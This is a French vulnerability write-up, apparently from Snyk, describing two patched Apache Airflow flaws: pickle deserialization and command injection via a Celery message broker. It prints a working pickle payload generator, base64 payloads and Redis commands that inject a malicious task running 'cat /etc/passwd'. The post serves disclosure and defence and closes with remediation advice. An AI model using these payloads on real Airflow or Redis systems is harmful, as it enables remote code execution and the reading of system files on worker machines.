Sortir des courtiers de messages

J’ai récemment signalé deux vulnérabilités dans Apache Airflow, une bibliothèque open source qui permet aux développeurs de créer, planifier et surveiller des workflows par programmation. Ces deux vulnérabilités permettent à un attaquant de modifier le périmètre de l’attaque et d’obtenir des privilèges sur une autre machine. Elles reposent toutes deux sur l’accès préalable de l’attaquant au courtier de messages.

Dans cet article, je vais vous expliquer pourquoi il ne faut pas faire confiance aux courtiers de messages et comment j’ai pu exploiter Apache Airflow pour obtenir des privilèges sur des machines censées être protégées. Avant d’entrer dans le vif du sujet, commençons par les bases des courtiers de messages.

Qu’est-ce qu’un courtier de messages ?

Un courtier de messages est un logiciel qui permet à des services de communiquer et d’échanger des informations. Son fonctionnement peut évoquer celui d’une API, mais le courtier de messages s’appuie généralement sur une file d’attente dans laquelle les différents services peuvent déposer ou lire des messages. Ainsi, ces services peuvent communiquer de façon asynchrone, même s’ils ont été écrits dans des langages différents ou déployés sur des plateformes distinctes.

Les courtiers de messages peuvent servir de passerelle entre des applications : les expéditeurs publient des messages sans savoir où se trouvent les destinataires ni combien ils sont. Comme indiqué plus haut, un composant appelé file de messages stocke les messages jusqu’à leur traitement par un service consommateur. Ces files permettent également la programmation asynchrone : comme elles se chargent de transmettre les messages, l’expéditeur peut continuer à effectuer d’autres tâches.

Cas d’usage des courtiers de messages

Les courtiers de messages sont largement utilisés dans le développement logiciel. Ils sont utiles dès lors que l’on a besoin d’une communication fiable entre plusieurs services, d’une livraison garantie des messages ou de fonctionnalités asynchrones.

Les cas d’usage des courtiers de messages sont variés. Voici quelques exemples parmi les plus courants :

1. Traitement des paiements : il est essentiel que chaque paiement soit envoyé une seule fois. Le traitement de ces transactions par des courtiers de messages garantit que les informations de paiement ne seront ni perdues ni dupliquées et fournit une preuve de réception.

2. Tâches asynchrones : il est possible de dissocier les traitements lourds d’une requête utilisateur en cours afin de répondre immédiatement sans bloquer l’utilisateur.

3. Acheminement des messages vers une ou plusieurs destinations : il est plus simple et plus facile à maintenir de publier des messages sur une source unique, accessible à plusieurs services.

Maintenant que vous savez ce que sont les courtiers de messages et à quoi ils servent, voyons pourquoi et comment ils peuvent être vulnérables.

Faire trop confiance aux courtiers de messages

Tous les développeurs savent que les bases de données peuvent être compromises. Nous prenons généralement des mesures de sécurité supplémentaires, comme le chiffrement des mots de passe, afin de compliquer la tâche des attaquants, même si la base de données a été compromise.

La logique voudrait que ce soit exactement pareil pour les courtiers de messages, non ? Les données transférées finissent par atteindre différentes machines. Il faut donc les traiter avec une prudence accrue : non seulement en chiffrant les informations sensibles, mais aussi en protégeant les machines qui les utilisent.

Malheureusement, ce n’est pas le cas. Notre équipe de sécurité a découvert plusieurs exemples d’utilisation dangereuse des courtiers de messages, dont Apache Airflow. Cette utilisation dangereuse consiste à accorder trop de confiance aux courtiers de messages, par exemple en y stockant des commandes qui sont ensuite exécutées sans assainissement. Cela peut entraîner des injections de commandes ou l’exécution de code à distance sur les machines qui communiquent avec les courtiers.

Exploiter Apache Airflow

Qu’est-ce qu’Apache Airflow ?

Comme indiqué brièvement plus haut, Apache Airflow est un système complet de gestion des workflows. Avec Airflow, les workflows sont conçus et représentés sous forme de DAG (graphe orienté acyclique), dont chaque étape correspond à une tâche spécifique. Cette plateforme orientée code vous permet de faire évoluer vos workflows rapidement et efficacement.

Airflow intègre un planificateur de tâches, chargé de planifier et d’exécuter les DAG. Pour les exécuter, le planificateur s’appuie sur un composant appelé exécuteur.

Découvrir une vulnérabilité zero-day dans Airflow

Tout a commencé lorsque je recherchais des vulnérabilités de désérialisation dans des logiciels open source qui utilisent Celery — une file de tâches distribuée pour Python intégrant un courtier de messages — comme dépendance.

J’ai découvert qu’Airflow utilise Celery comme exécuteur, avec pickle par défaut. Or, je savais que le module Python pickle présente une vulnérabilité connue, que Celery avait autrefois utilisé par défaut.

Le schéma ci-dessous illustre, dans les grandes lignes, le fonctionnement d’Airflow avec Celery :

Le planificateur Airflow utilise Celery comme exécuteur. Celui-ci stocke les tâches, puis les exécute selon un calendrier défini.

Celery utilise le courtier de messages (Redis ou RabbitMQ) pour stocker les tâches. Les workers récupèrent ensuite les tâches auprès du courtier et les exécutent.

Les workers Celery d’Airflow désérialisent les données pickle stockées dans le courtier de messages. Autrement dit, si je parviens à accéder au courtier, je peux exécuter du code à distance sur les workers au moyen d’une attaque par désérialisation. Cette vulnérabilité a été référencée sous le numéro CVE-2020-11982.

Attendez, qu’est-ce qu’une attaque par désérialisation ?

La sérialisation consiste à convertir un objet en une séquence d’octets qui peut être enregistrée sur un disque ou dans une base de données, ou transmise par flux. Le processus inverse, qui consiste à recréer un objet à partir d’une séquence d’octets, s’appelle la désérialisation. La sérialisation sert couramment à la communication (partage d’objets entre plusieurs hôtes) et à la persistance (stockage de l’état d’un objet dans un fichier ou une base de données).

Une attaque par désérialisation se produit lorsqu’une application désérialise des données sans vérifier suffisamment que le résultat est sûr, ce qui permet à l’attaquant de contrôler l’état ou le déroulement de l’exécution. Je ne dis pas qu’il ne faut jamais stocker de données sérialisées dans des courtiers de messages : c’est indispensable dans de nombreux cas. Je pense toutefois qu’il faut tenir compte de ce risque lors de la conception de ce type de système et envisager des mesures de sécurité supplémentaires.

Pour en savoir plus sur les attaques par désérialisation, consultez cet article.

Forcer Airflow à désérialiser mes tâches avec pickle

J’ai commencé par créer une tâche Airflow et examiner sa structure. J’ai ajouté un DAG (un ensemble de tâches), l’ai associé à une file d’attente nommée « test », configuré Redis comme courtier Celery, puis démarré la file :

airflow worker -q test

airflow worker -q test

En examinant la structure des messages Redis, j’ai découvert qu’ils étaient stockés dans une table de hachage Redis appelée unacked. Les valeurs de cette table sont structurées comme suit :

127.0.0.1:6379> hgetall unacked
"[{"body":
"W1tbImFpcmZsb3ciLCAicnVuIiwgImV4cCIsICJzbGVlcCIsICIyMDAwLTA2LTAxVDAwOjAwOjAwKzAwOjAwIiwgIi0tcGlja2xlIiwgIjE1IiwgIi0tbG9jYWwiLCAiLS1wb29sIiwgImRlZmF1bHRfcG9vbCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1d", 
"content-encoding": "utf-8", "content-type": 
"application/json", "headers": {"lang": "py", "task":
"airflow.executors.celery_executor.execute_command", "id": 
"2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, 
"timelimit": [null, null], "root_id": 
"2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, 
"argsrepr": "[['airflow', 'run', 'exp', 'sleep', 
'2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": 
"gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": 
"2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

Les éléments intéressants sont les valeurs body, content-type et content-encoding. La valeur body, une fois décodée, est la suivante :

❯ echo "W1tbImFpcmZsb3ciLCAicnVuIiwgImV4cCIsICJzbGVlcCIsICIyMDAwLTA2LTAxVDAwO
jAwOjAwKzAwOjAwIiwgIi0tcGlja2xlIiwgIjE1IiwgIi0tbG9jYWwiLCAiLS1wb29sIiw
gImRlZmF1bHRfcG9vbCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzI
jogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1d" | base64 -d
[[["airflow", "run", "exp", "sleep", "2000-06-01T00:00:00+00:00", "--pickle", "15", "--local", "--pool", "default_pool"]], {}, 
{"callbacks": null, "errbacks": null, "chain": null, "chord": null}]%

Notez que les commandes elles-mêmes sont stockées ici ! Cela sera important pour la deuxième vulnérabilité. J’ai également trouvé un ensemble nommé unacked_index. Je pensais que ses éléments correspondaient aux clés de la table de hachage, et j’ai vérifié. J’ai d’abord récupéré les clés de la table :

127.0.0.1:6379> hkeys unacked
1) "1038272e-239b-4f94-b651-842005a486f7"
2) "6aa4d9be-472a-4f89-b97f-ba42b1623f30"
3) "616c8063-95f1-4778-9a4d-517a9bd548e0"
4) "130f9cb7-baaa-48dd-bf7c-d5dcadf219f0"
5) "9b1de8a0-7aef-4209-9727-c6888d1686f5"
6) "fd4963a8-7187-4add-8c81-3b97c48aab7d"
7) "5b9a0aec-d359-4f37-b09b-0351e2ce2bac"

J’ai ensuite affiché tous les éléments de unacked_index :

127.0.0.1:6379> zrange unacked_index 0 -1
1) "5b9a0aec-d359-4f37-b09b-0351e2ce2bac"
2) "fd4963a8-7187-4add-8c81-3b97c48aab7d"
3) "1038272e-239b-4f94-b651-842005a486f7"
4) "130f9cb7-baaa-48dd-bf7c-d5dcadf219f0"
5) "9b1de8a0-7aef-4209-9727-c6888d1686f5"
6) "616c8063-95f1-4778-9a4d-517a9bd548e0"
7) "6aa4d9be-472a-4f89-b97f-ba42b1623f30"

Comme vous pouvez le constater, ce sont bien les mêmes valeurs, dans un ordre différent. À ce stade, j’étais presque certain que unacked_index servait à stocker les identifiants des tâches à exécuter, et que la table de hachage associait chaque identifiant à la tâche correspondante. Pour ajouter une nouvelle tâche personnalisée, je devais donc ajouter une valeur arbitraire à unacked_index, puis créer un nouvel élément dans la table de hachage, avec cette même valeur comme clé et une charge utile malveillante comme valeur.

Pour mener une attaque par désérialisation, il me fallait une charge utile malveillante. J’ai rapidement créé un script Python qui génère une charge utile qui, après désérialisation avec pickle, crée un fichier nommé malicious :

class RunCmd(object):
    def __reduce__(self):
        return (os.system, ("touch malicious",))

print(base64.b64encode(pickle.dumps(RunCmd())))

Vous trouverez ici plus d’informations sur l’exploitation de pickle en Python. Pour forcer la file à récupérer la valeur malveillante et à la désérialiser avec pickle, je devais définir content-type sur application/x-python-serialize (pickle) et content-encoding sur binary. Voici une preuve de concept pour ajouter une tâche malveillante :

127.0.0.1:6379> zadd unacked_index 1 5b9a0aec-d359-4f37-b09b-0351e2ce2bac

127.0.0.1:6379> hset unacked 5b9a0aec-d359-4f37-b09b-0351e2ce2bac "[{"body": "gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCBtYWxpY2lvdXOUhZRSlC4=", "content-encoding": "binary", "content-type": "application/x-python-serialize", "headers": {"lang": "py", "task": "airflow.executors.celery_executor.execute_command", "id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, "timelimit": [null, null], "root_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, "argsrepr": "[['airflow', 'run', 'exp', 'sleep', '2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": "gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": "2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

Comme expliqué plus haut, voici les étapes suivies :

1. Ajout d’une valeur arbitraire à unacked_index comme identifiant de tâche

2. Ajout d’un nouvel élément à unacked : l’identifiant créé précédemment comme clé et une charge utile malveillante comme valeur. Cette charge utile contenait la charge utile encodée en base64 dans la valeur body.

Le schéma suivant illustre le processus :

J’ai lancé la file de test et, voilà ! Un nouveau fichier nommé malicious a été créé sur le worker qui exécutait la file : le périmètre de l’attaque venait de changer complètement. J’expliquerai les conséquences de cette vulnérabilité juste après avoir passé en revue la suivante !

Vulnérabilité d’injection de commandes

Passons à la deuxième vulnérabilité, une injection de commandes référencée sous le numéro CVE-2020-11981.

En examinant le code source d’Airflow, j’ai découvert que les commandes provenant du courtier de messages étaient exécutées sans aucun assainissement. Après mon « OUI ! » de joie, celui qu’on pousse généralement lorsqu’on découvre une vulnérabilité, je suis retourné dans Redis et j’ai constaté que je pouvais injecter la charge utile suivante dans la clé body :

❯ echo "[[["cat /etc/passwd"]], {}, {"callbacks": null, "errbacks": null, "chain": null, "chord": null}]" | base64
W1tbImNhdCAvZXRjL3Bhc3N3ZCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1dCg==

En suivant la même logique que précédemment, voici une preuve de concept (inutile de modifier content-type ni content-encoding cette fois, car nous n’avons pas besoin d’opérations pickle) :

127.0.0.1:6379> hset unacked 5b9a0aec-d359-4f37-b09b-0351e2ce2bac "[{"body": "W1tbImNhdCAvZXRjL3Bhc3N3ZCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1dCg==", "content-encoding": "utf-8", "content-type": "application/json", "headers": {"lang": "py", "task": "airflow.executors.celery_executor.execute_command", "id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, "timelimit": [null, null], "root_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, "argsrepr": "[['airflow', 'run', 'exp', 'sleep', '2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": "gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": "2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

J’ai ensuite découvert qu’il était également possible d’injecter cette charge utile dans RabbitMQ depuis son tableau de bord. RabbitMQ n’utilise pas la même structure que Redis ; il suffit donc d’utiliser la liste JSON brute, sans encodage base64.

L’impact de cette vulnérabilité est très similaire à celui de la précédente : elle donne le contrôle total des machines worker. Pour mieux comprendre, imaginons qu’avant l’exploitation de cette vulnérabilité, l’attaquant n’ait accès qu’à une seule machine : le courtier de messages. De plus, dans certaines installations, il peut être possible d’injecter des messages dans le courtier par l’intermédiaire d’une API, sans même accéder à la machine qui l’héberge.

Une fois le contrôle total de la machine worker obtenu, il peut être possible d’exposer des secrets, de provoquer un déni de service et même d’accéder à d’autres machines de la même infrastructure. Les vulnérabilités de ce type, qui permettent aux attaquants d’élargir le périmètre de leur attaque et d’élever leurs privilèges au sein d’un réseau compromis, peuvent faire la différence entre un incident de sécurité mineur et une compromission à grande échelle.

Remédiation

Si vous choisissez de stocker des commandes dans votre courtier de messages, vous pouvez appliquer la méthode de remédiation illustrée ci-dessus. Ainsi, même si un attaquant prend le contrôle du courtier, le worker n’exécute que des commandes connues et assainit toute entrée inattendue. C’est la méthode retenue par Apache, car la logique du package exige que les commandes soient stockées dans le courtier de messages.

Pour sécuriser votre infrastructure, vous devriez également protéger votre courtier de messages, notamment en mettant en place une authentification appropriée et TLS, afin de rendre son accès plus difficile pour les attaquants.

Conclusion

Ces deux vulnérabilités montrent comment j’ai pu exécuter du code et des commandes sur le serveur de la file d’attente (ou le worker) en accédant simplement au courtier de messages. Notez que, dans sa configuration initiale, Redis ne nécessite pas de mot de passe.

L’équipe Apache a rapidement reconnu ces vulnérabilités et les a corrigées. Même si l’équipe de sécurité de Snyk ne les considère pas comme particulièrement critiques, puisqu’elles nécessitent toutes deux un accès initial à l’infrastructure, elles restent dangereuses. Il n’est pas rare qu’une vulnérabilité nécessite des privilèges initiaux ou l’exploitation de plusieurs vulnérabilités (une sorte de chaîne d’attaque).

La principale leçon que j’aimerais que vous reteniez de cet article est la suivante : Ne faites pas aveuglément confiance à vos brokers de messages. Réfléchissez à leur conception et à leur architecture, ainsi qu’aux moyens de réduire les risques liés à leur utilisation.